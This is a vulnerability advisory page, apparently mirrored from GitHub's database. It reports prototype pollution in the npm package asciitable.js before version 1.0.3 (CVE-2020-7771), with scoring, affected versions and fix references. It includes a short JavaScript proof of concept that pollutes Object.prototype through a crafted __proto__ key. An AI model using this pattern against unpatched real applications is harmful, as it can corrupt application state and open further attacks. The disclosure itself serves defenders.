GHSA-5PXJ-MHWJ-X5GV

Vulnerability from github – Published: 2021-04-13 15:24 – Updated: 2023-09-11 18:53
VLAI?
Summary
Prototype Pollution in asciitable.js
Details

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "asciitable.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-06T23:32:45Z",
    "nvd_published_at": "2021-01-04T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.\n\n### PoC\n```js\nvar a = require(\"asciitable.js\"); \nvar b = JSON.parse(\u0027{\"__proto__\":{\"test\":123}}\u0027); \na({},b); \nconsole.log({}.test)\n```",
  "id": "GHSA-5pxj-mhwj-x5gv",
  "modified": "2023-09-11T18:53:26Z",
  "published": "2021-04-13T15:24:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7771"
    },
    {
      "type": "WEB",
      "url": "https://github.com/victornpb/asciitable.js/pull/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/victornpb/asciitable.js"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in asciitable.js"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…